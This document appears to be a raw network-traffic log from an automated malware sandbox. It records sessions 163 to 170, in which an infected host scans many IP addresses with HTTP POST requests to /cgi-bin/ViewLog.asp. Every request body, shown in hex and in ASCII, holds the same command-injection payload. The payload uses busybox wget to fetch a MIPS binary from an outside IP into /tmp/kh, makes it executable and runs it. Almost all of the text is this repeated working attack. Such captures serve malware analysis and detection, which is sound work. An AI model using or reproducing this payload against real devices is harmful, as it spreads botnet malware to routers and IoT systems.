                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:49.723715067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.923237085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.786286116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                163192.168.2.155139231.136.195.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.923005104 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.476145029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:33.596236944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:35.900051117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:40.507996082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:49.467664957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.923247099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.786289930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                164192.168.2.153512231.135.130.228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.982047081 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.226036072 CET75INHTTP/1.1
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                165192.168.2.155721862.29.65.1708080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.995546103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                166192.168.2.153647095.86.92.1578080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:32.000606060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                167192.168.2.154605031.136.193.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:34.448251963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:35.036134005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.188071966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:38.460068941 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:43.067930937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:52.283648014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.971076012 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834197998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                168192.168.2.154221895.217.245.88080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:34.459351063 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:34.658199072 CET480INHTTP/1.1 400 Bad Request
                                                Server: cloudflare
                                                Date: Thu, 23 Nov 2023 04:20:34 GMT
                                                Content-Type: text/html
                                                Content-Length: 253
                                                Connection: close
                                                CF-RAY: -
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>cloudflare</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                169192.168.2.154169062.29.119.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:34.484076023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                170192.168.2.153668095.86.97.118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:34.717108011 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
